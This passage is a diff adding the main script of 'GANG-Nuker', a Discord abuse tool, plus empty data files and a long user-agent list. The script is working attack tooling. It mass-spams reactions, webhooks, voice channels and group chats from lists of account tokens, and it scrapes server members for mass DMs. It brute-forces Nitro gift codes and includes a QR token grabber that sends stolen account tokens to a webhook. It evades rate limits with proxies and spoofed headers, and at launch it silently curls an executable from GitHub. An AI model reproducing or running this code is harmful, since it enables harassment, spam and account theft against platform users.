input('[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# REACTION SPAMMER + if choice == '13': + Spinner() + setTitle(f"Reaction Spammer | ") + def reaction(chd, iddd, org, token): + headers = {'Content-Type': 'application/json', + 'Accept': '*/*', + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'en-US', + 'Cookie': f"__cfuid={randstr(43)}; __dcfduid={randstr(32)}; locale=en-US", + 'DNT': '1', + 'origin': 'https://discord.com', + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-origin", + 'TE': 'Trailers', + 'X-Super-Properties': 'eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRGlzY29yZCBDbGllbnQiLCJyZWxlYXNlX2NoYW5uZWwiOiJzdGFibGUiLCJjbGllbnRfdmVyc2lvbiI6IjEuMC45MDAxIiwib3NfdmVyc2lvbiI6IjEwLjAuMTkwNDIiLCJvc19hcmNoIjoieDY0Iiwic3lzdGVtX2xvY2FsZSI6ImVuLVVTIiwiY2xpZW50X2J1aWxkX251bWJlciI6ODMwNDAsImNsaWVudF9ldmVudF9zb3VyY2UiOm51bGx9', + 'authorization': token, + 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0' + } + + emoji = ej.emojize(org, use_aliases=True) + a = requests.put( + f"https://discordapp.com/api/v9/channels/{chd}/messages/{iddd}/reactions/{emoji}/@me", + headers=headers) + if a.status_code == 204: + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Reaction {org}") + else: + print(f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Error") + + tokens = open('tokens.txt', 'r').read().splitlines() + chd = input('\n[\x1b[95m>\x1b[95m\x1B[37m] Channel ID?: ') + iddd = input('[\x1b[95m>\x1b[95m\x1B[37m] Message ID?: ') + emoji = input('[\x1b[95m>\x1b[95m\x1B[37m] Emoji?: ') + delay = int(input('[\x1b[95m>\x1b[95m\x1B[37m] Delay?: ')) + for token in tokens: + time.sleep(delay) + threading.Thread(target=reaction, args=(chd, iddd, emoji, token)).start() + + time.sleep(1) + exit = input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# NICKNAME CHANGER + if choice == '14': + Spinner() + setTitle(f"Nickname Changer | ") + def changenick(server, nickname, token): + headers = mainHeader(token) + + r = requests.patch(f"https://discord.com/api/v9/guilds/{server}/members/@me/nick", headers=headers, + json={"nick": nickname}) + if r.status_code == 200: + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Nickname Changed ') + if r.status_code != 200: + print(f'[{Fore.LIGHTRED_EX}-{Fore.RESET}] Cant Change Nickname... {Fore.RESET}') + + tokens = open('tokens.txt', 'r').read().splitlines() + server = input("\n[\x1b[95m>\x1b[95m\x1B[37m] Server ID: ") + nick = input("[\x1b[95m>\x1b[95m\x1B[37m] Nickname?: ") + for token in tokens: + threading.Thread(target=changenick, args=(server, nick, token)).start() + + time.sleep(1) + exit = input('[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# WEBHOOK SPAMMER + if choice == '15': + Spinner() + setTitle(f"Webhook Spammer | ") + session = requests.Session() + webhook = input("\n[\x1b[95m>\x1b[95m\x1B[37m] Webhook URL: ") + message = input("[\x1b[95m>\x1b[95m\x1B[37m] Message: ") + username = input("[\x1b[95m>\x1b[95m\x1B[37m] Webhook Username?: ") + + def gang(): + session.post(webhook,json = {"content":message,"username":username}) + + while True: + for i in range(15): + threading.Thread(target=gang).start() + gang() + + + +# VC SPAMMER + if choice == '16': + Spinner() + setTitle(f"Voice Call Spammer | ") +# tokenfaster = open(easygui.range.faster(), 'r').run().splitlines() + tokenlist = open(easygui.fileopenbox(), 'r').read().splitlines() + channel = int(input("\n[\x1b[95m>\x1b[95m\x1B[37m] Voice Channel ID: ")) + server = int(input("[\x1b[95m>\x1b[95m\x1B[37m] Server ID: ")) + deaf = input("[\x1b[95m>\x1b[95m\x1B[37m] Defean: (y/n)? ") + if deaf == "y": + deaf = True + if deaf == "n": + deaf = False + mute = input("[\x1b[95m>\x1b[95m\x1B[37m] Mute: (y/n)? ") + if mute == "y": + mute = True + if mute == "n": + mute = False + stream = input("[\x1b[95m>\x1b[95m\x1B[37m] Stream: (y/n)? ") + if stream == "y": + stream = True + if stream == "n": + stream = False + video = input("[\x1b[95m>\x1b[95m\x1B[37m] Video: (y/n)? ") + if video == "y": + video = True + if video == "n": + video = False + + executor = ThreadPoolExecutor(max_workers=int(1000)) + def run(token): + while True: + ws = WebSocket() + ws.connect("wss://gateway.discord.gg/?v=8&encoding=json") + hello = loads(ws.recv()) + heartbeat_interval = hello['d']['heartbeat_interval'] + ws.send(dumps({"op": 2,"d": {"token": token,"properties": {"$os": "windows","$browser": "Discord","$device": "desktop"}}})) + ws.send(dumps({"op": 4,"d": {"guild_id": server,"channel_id": channel,"self_mute": mute,"self_deaf": deaf, "self_stream?": stream, "self_video": video}})) + ws.send(dumps({"op": 18,"d": {"type": "guild","guild_id": server,"channel_id": channel,"preferred_region": "singapore"}})) + ws.send(dumps({"op": 1,"d": None})) + sleep(0.1) + + i = 0 + + for token in tokenlist: + executor.submit(run, token) + i+=1 + print("[\x1B[32m>\x1B[32m\x1B[37m] Joined VC") + sleep(0.01) + yay = input("\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER to Stop VC Spammer!") + + + +# PATCH NOTES + if choice == '17': + Spinner() + setTitle(f"Patch Notes | ") + SlowPrint("\n[\x1b[95m>\x1b[95m\x1B[37m] UPDATED Patch Notes:\n") + print(f'\n[\x1b[95m#\x1b[95m\x1B[37m] Server MassDM (OUTDATED) - (adding API v10 in next UPDATE!)\n[\x1b[95m#\x1b[95m\x1B[37m] DM Spammer (OUTDATED) - (adding captcha key API in next UPDATE!)\n[\x1b[95m#\x1b[95m\x1B[37m] Reaction Spammer (OUTDATED) - (Need to update the headers!)') + + time.sleep(1) + exit = input('\n\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# ABOUT/ACTIVITY + if choice == '18': + Spinner() + setTitle(f"About/Activity | ") + http.client._is_legal_header_name = re.compile(b'[^\\s][^:\\r\\n]*').fullmatch + print(f'\n[\x1b[95m1\x1b[95m\x1B[37m] About Changer') + print(f'[\x1b[95m2\x1b[95m\x1B[37m] Activity Status Changer') + changg = input('\n[\x1b[95m>\x1b[95m\x1B[37m] Choice: ') + if changg == '1': + + def abouttt(token, abbb): + try: + headers = secondHeader(token) + rd = requests.patch('https://discord.com/api/v9/users/@me', headers=headers, json={'bio': abbb}) + if rd.status_code == 200: + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Done') + else: + print( + f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Error") + except: + print('Error!') + + tokens = open('tokens.txt', 'r').read().splitlines() + ab = input(f'[{m}>]{Fore.RESET} About: ') + for token in tokens: + threading.Thread(target=abouttt, args=(token, ab)).start() + + if changg == '2': + def activity(token, act): + ws = websocket.WebSocket() + actt = 'Online' + ws.connect('wss://gateway.discord.gg/?v=6&encoding=json') + gjs = {'name': act, + 'type': 0} + auth = {'op': 2, + 'd': {'token': token, + 'properties': {'$os': sys.platform, + '$browser': 'RTB', + '$device': f"{sys.platform} Device"}, + 'presence': {'game': gjs, + 'status': actt, + 'since': 0, + 'afk': False}}, + 's': None, + 't': None} + ws.send(json.dumps(auth)) + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Activity Status: {act}') + + tokens = open('tokens.txt', 'r').read().splitlines() + text = input('[\x1b[95m>\x1b[95m\x1B[37m] Activity Status: ') + for token in tokens: + threading.Thread(target=activity, args=(token, text)).start() + + time.sleep(1) + exit = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Press Enter: ') + exit = clear() + exit = spammer() + + + +# SERVER LOOKUP + if choice == '19': + Spinner() + setTitle(f"Server Lookup | ") + exec(open('utilities/Plugins/Server_Lookup.py').read()) + + + +# TOKEN INFOMATION + if choice == '20': + Spinner() + token = input( + f'\n[\x1b[95m>\x1b[95m\x1B[37m] Account Token: ') + validateToken(token) + utilities.Plugins.Token_Info.Info(token) + + + +# STATUS CHANGER + if choice == '21': + Spinner() + setTitle(f"Status Changer | ") + def ChangeStatus(token, status): + session = requests.Session() + headers = { + 'authorization': token, + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.306 Chrome/78.0.3904.130 Electron/7.1.11 Safari/537.36', + 'content-type': 'application/json' + } + data = '{"custom_status":{"text":"' + status + '"}}' + r = session.patch('https://discordapp.com/api/v6/users/@me/settings', headers=headers, data=data) + print('[\x1B[32m>\x1B[32m] Done') + + tokens = open('tokens.txt', 'r').read().splitlines() + status = input('\n[\x1b[95m>\x1b[95m\x1B[37m] Status?: ') + for token in tokens: + threading.Thread(target=ChangeStatus, args=(token, status)).start() + + time.sleep(1) + exit = input('[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# GROUPCHAT SPAMMER + if choice == '22': + Spinner() + setTitle(f"GroupChat Spammer | ") + token = input('\n[\x1b[95m>\x1b[95m\x1B[37m] Token: ') + UserID = input('[\x1b[95m>\x1b[95m\x1B[37m] User ID: ') + group = input('[\x1b[95m>\x1b[95m\x1B[37m] Group Names: ') + manygr = int(input('[\x1b[95m>\x1b[95m\x1B[37m] How Many Groups: ')) + + headers = mainHeader(token) + + + for i in range(manygr): + try: + r = requests.post('https://discord.com/api/v9/users/@me/channels', headers=headers, + json={"recipients": []}) + + jsr = json.loads(r.content) + groupID = jsr['id'] + time.sleep(0.5) + r1 = requests.patch(f'https://discord.com/api/v9/channels/{groupID}', headers=headers, + json={'name': group}) + if r1.status_code == 200: + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Group created') + + with open("data/groups.txt", "w") as groupID: + groupID.write(jsr['id'] + '\n') + + except: + print(f'[{Fore.LIGHTRED_EX}-{Fore.RESET}] RateLimited for {jsr["retry_after"]} seconds'), time.sleep(jsr['retry_after']) + + scrIds = random.choice(open('data/groups.txt').readlines()) + grID = scrIds.strip('\n') + r2 = requests.put(f'https://discord.com/api/v9/channels/{grID}/recipients/{UserID}', + headers={'Authorization': token}) + if r2.status_code == 204: + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Group Members: {UserID}') + + time.sleep(1) + exit = input('[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# AUTO LOGIN + if choice == '23': + Spinner() + setTitle(f"Token Auto Login | ") + token = input( + f'\n[\x1b[95m>\x1b[95m\x1B[37m] Account Token: ') + validateToken(token) + utilities.Plugins.Auto_Login.TokenLogin(token) + + + +# DM DELETER + if choice == '24': + Spinner() + setTitle(f"DM Deleter | ") + token = input( + f'\n[\x1b[95m>\x1b[95m\x1B[37m] Account Token: ') + validateToken(token) + processes = [] + channelIds = requests.get("https://discord.com/api/v9/users/@me/channels", headers=getheaders(token)).json() + if not channelIds: + print(f"[\x1b[95m>\x1b[95m\x1B[37m] This Token Has 0 Dms to Delete!") + sleep(2) + spammer() + for channel in [channelIds[i:i+3] for i in range(0, len(channelIds), 3)]: + t = threading.Thread(target=utilities.Plugins.DM_Deleter.DmDeleter, args=(token, channel)) + t.start() + processes.append(t) + for process in processes: + process.join() + input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + + + +# TOKEN GENERATOR + if choice == '25': + Spinner() + setTitle(f"Token Generator | ") + gh = input(f""" +Token Generator is in the Paid Version of GANG-Nuker!\nIf You Are Wanting to Purchase Make Sure to Checkout the Offical GANG-Nuker Website! + +[\x1b[95m1\x1b[95m\x1B[37m] GANG-Nuker Website +[\x1b[95m2\x1b[95m\x1B[37m] Exit + +[\x1b[95m>\x1b[95m\x1B[37m] Choice?: """) + + if gh in ['01','1']: + webbrowser.open('https://gangnuker.org') + elif gh in ['02','2']: + exit = spammer() + else: + print('') + + + +# NITRO GENERATOR + if choice == '26': + Spinner() + setTitle(f"Nitro Generator | ") + + webhooklink = str(input(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Webhook URL: ")) + + count = 0 + + webhook = "~~WEBHOOK_URL~~""".replace("~~WEBHOOK_URL~~", webhooklink) + + while True: + try: + code = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(24)) + post = {"content":"https://discord.com/billing/promotions/"+code} + head = { + + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + 'content-type' : 'application/json' + } + count += 1 + print(f'[{g}>{Fore.RESET}] Generated Nitro | [{count}]') + s = requests.post(webhook, json=post, headers=head) + except: + print(f"[{r}!{Fore.RESET}] ERROR!") + break + + + + +# QR TOKEN GRABBER + elif choice == '27': + Spinner() + setTitle(f"QR Token Grabber | ") + WebHook = input( + f'\n[\x1b[95m>\x1b[95m\x1B[37m] Webhook URL: ') + validateWebhook(WebHook) + utilities.Plugins.QR_Grabber.QR_Grabber(WebHook) + + + +# MEMBER ID SCRAPER + if choice == '28': + Spinner() + setTitle(f"Member ID Scraper | ") + tukan = input('\n[\x1b[95m>\x1b[95m\x1B[37m] Account Token: ') + guildd = input('[\x1b[95m>\x1b[95m\x1B[37m] Server ID: ') + chann = input('[\x1b[95m>\x1b[95m\x1B[37m] Channel ID: ') + bot = discum.Client(token=tukan) + + def closefetching(resp,guildid): + if bot.gateway.finishedMemberFetching(guildid): + lenmembersfetched = len(bot.gateway.session.guild(guildid).members) + print(str(lenmembersfetched)) + bot.gateway.removeCommand({'function':closefetching, 'params':{'guildid':guildid}}) + bot.gateway.close() + + def getmembers(guildid,channelid): + bot.gateway.fetchMembers(guildid, channelid, keep='all',wait=1) + bot.gateway.command({'function':closefetching,'params':{'guildid':guildid}}) + bot.gateway.run() + bot.gateway.resetSession() + return bot.gateway.session.guild(guildid).members + + members = getmembers(guildd, chann) + memberids = [] + + for memberId in members: + memberids.append(memberId) + + cls() + + with open('data/massdm_IDs.txt','w') as ids: + for element in memberids: + ids.write(element + '\n') + + print(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Finished Scraping {len(memberids)} Members!\n(The members have already been put into the correct files for spamming!)') + + time.sleep(1) + exit = input('\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# PFP CHANGER + if choice == '29': + Spinner() + setTitle(f"PFP Changer | ") + def change_pfp(): + + tokens = open('tokens.txt', 'r').read().splitlines() + token = random.choice(tokens) + + picture = [f for f in os.listdir("utilities/Avatars/") if isfile(join("utilities/Avatars/", f))] + random_picture = random.choice(picture) + + with open(f'utilities/Avatars/{random_picture}', "rb") as image_file: + encoded_string = base64.b64encode(image_file.read()) + + headers = { + 'authority': 'discord.com', + 'accept': '*/*', + 'accept-language': 'en-GB,en;q=0.9', + 'authorization': token, + 'cookie': '__dcfduid=904754d01e0f11edbc8e137cc7c473ca; __sdcfduid=904754d11e0f11edbc8e137cc7c473caaf269406fe90d738955d66c8929cd997a08c8669ef42a295aac84cc43230a150; __cf_bm=uXHYoYl9KmWotP8UeGBa6PejMQCeibzDkDYmf2MsY9s-1660728773-0-AS+XIQ7NNSyCZ4NlcXTdL0oVGueHXZdj2D0+lSifopWh7sUykquNKC/lA3UpNMqVrjBh728hF1wibQBsBEFv69LTkEam4T1CLerS8v2rjGVq0ZwVEPXbnDz7iPfEX8AvEA==; locale=en-GB', + 'origin': 'https://discord.com', + 'referer': 'https://discord.com/@me', + 'sec-ch-ua': '"Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"', + 'sec-ch-ua-mobile': '?0', + 'sec-ch-ua-platform': '"Windows"', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'same-origin', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36', + 'x-discord-locale': 'en-GB', + 'x-super-properties': 'eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiQ2hyb21lIiwiZGV2aWNlIjoiIiwic3lzdGVtX2xvY2FsZSI6ImVuLUdCIiwiYnJvd3Nlcl91c2VyX2FnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwNC4wLjAuMCBTYWZhcmkvNTM3LjM2IiwiYnJvd3Nlcl92ZXJzaW9uIjoiMTA0LjAuMC4wIiwib3NfdmVyc2lvbiI6IjEwIiwicmVmZXJyZXIiOiIiLCJyZWZlcnJpbmdfZG9tYWluIjoiIiwicmVmZXJyZXJfY3VycmVudCI6IiIsInJlZmVycmluZ19kb21haW5fY3VycmVudCI6IiIsInJlbGVhc2VfY2hhbm5lbCI6InN0YWJsZSIsImNsaWVudF9idWlsZF9udW1iZXIiOjE0MjAwMCwiY2xpZW50X2V2ZW50X3NvdXJjZSI6bnVsbH0=', + } + + json = { + 'avatar': f"data:image/png;base64,{(encoded_string.decode('utf-8'))}", + } + + r = requests.patch('https://discord.com/api/v9/users/@me', headers=headers, json=json) + if r.status_code == 200: + print(f"\n[{g}+{Fore.RESET}] Successfully Changed PFP | {token}") + else: + print(f"[{r}!{Fore.RESET}] Error...") + + + threads = input("\n[\x1b[95m>\x1b[95m\x1B[37m] Amount of PFP?: ") + for i in range(int(threads)): + threading.Thread(target=change_pfp).start() + + + +# ABOUT + if choice == '30': + Spinner() + setTitle(f"About | ") + Write.Print("\nHello, thanks for using GANG-Nuker!\nif you run into any problems make sure to let me know asap!\nDiscord: ††#9999\nGithub: https://github.com/TT-Tutorials\nWebsite: https://gangnuker.org\n\n", Colors.purple_to_blue, interval=0.015) + + time.sleep(1) + exit = input('[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# THREADS + if choice == '31': + Spinner() + setTitle(f"Threads: [{threads}] | ") + print(f"\n[\x1b[95m#\x1b[95m\x1B[37m] Current Thread: {lr}{threads}{Fore.RESET}") + try: + amount = int( + input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Thread Amount: ')) + except ValueError: + print(f'{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] | Invalid Amount!') + sleep(1.5) + spammer() + if amount >= 40: + print(f"[{Fore.RED}ERROR{Fore.RESET}] | Having {Fore.RED}{amount}{Fore.RESET} Will Cause Ratelimited, Try Something Lower...!") + sleep(4) + spammer() + elif amount >= 15: + print(f"[\x1b[95m>\x1b[95m\x1B[37m] Having More Than 15 Threads Can Cause Lag and Ratelimit... [{Fore.RED}{amount}{Fore.RESET}]\nContinue With High Threads?") + yesno = input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] y/n?: ') + if yesno.lower() != "y": + sleep(0.5) + spammer() + threads = amount + SlowPrint(f"\nChanged Thread to: [\x1b[95m{amount}\x1b[95m\x1B[37m]") + sleep(1.5) + spammer() + + + +# EXIT + if choice == '32': + Spinner() + exit = True if input(f"\n[{Fore.LIGHTMAGENTA_EX}>{Fore.RESET}] Are You Sure You Want To Exit GANG-Nuker? Y/N: ").lower() == "y" else spammer() or "n" == sys.exit(0) + else: + print(f"") + time.sleep(0) + return spammer() + + + + +# AUTO DOWNLOAD DRIVERS +if __name__ == "__main__": + import sys + setTitle(f"Dowloading Drivers | ") + os.system("""if not exist "./chromedriver.exe" echo [+] Downloading Drivers: """) + os.system("""if not exist "./chromedriver.exe" curl -#fkLo "./chromedriver.exe" "https://github.com/TT-Tutorials/addons/raw/main/chromedriver.exe" """) + if os.path.basename(sys.argv[0]).endswith("exe"): + search_for_updates() + if not os.path.exists(getTempDir()+"\\gang_proxies"): + proxy_scrape() + clear() + else: + search_for_updates() + if not os.path.exists(getTempDir()+"\\gang_proxies"): + proxy_scrape() + clear() + spammer() \ No newline at end of file diff --git a/data/channels.txt b/data/channels.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/groups.txt b/data/groups.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/info.txt b/data/info.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/massdm_IDs.txt b/data/massdm_IDs.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/massmention.txt b/data/massmention.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/members.txt b/data/members.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/roles.txt b/data/roles.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/useragent.txt b/data/useragent.txt new file mode 100644 index 0000000..858b639 --- /dev/null +++ b/data/useragent.txt @@ -0,0 +1,1000 @@ +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.94 Chrome/37.0.2062.94 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.12 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/7.1.8 Safari/537.85.17 +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F69 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/8.0.5 Safari/600.5.17 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) +Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 7077.134.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.156 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/7.1.7 Safari/537.85.16 +Mozilla/5.0 (Windows NT 6.0; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/8.0.3 Safari/600.3.18 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B440 Safari/600.1.4 +Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12D508 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53 +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFTHWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/7.1.6 Safari/537.85.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.4.10 (KHTML, like Gecko) Version/8.0.4 Safari/600.4.10 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; rv:11.0) like Gecko 